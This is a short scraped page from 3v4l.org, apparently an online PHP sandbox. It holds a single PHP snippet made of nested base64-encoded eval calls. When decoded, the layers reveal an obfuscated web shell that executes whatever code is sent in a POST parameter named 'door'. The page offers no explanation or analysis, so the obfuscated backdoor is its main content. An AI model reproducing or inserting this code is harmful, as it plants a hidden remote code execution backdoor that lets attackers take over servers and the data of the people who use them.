3v4l.org

run code in 300+ PHP versions simultaneously
<?php eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtFeDVPRGhRTTBKdlkwRndiR1J0Um5OTFExSm1WVVU1VkZaR2RHdGlNamw1V0ZOclMweDVPQzVqYUhJb05EY3BMbEJuS1NrNykpOw));?>

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51.86 ms | 402 KiB | 5 Q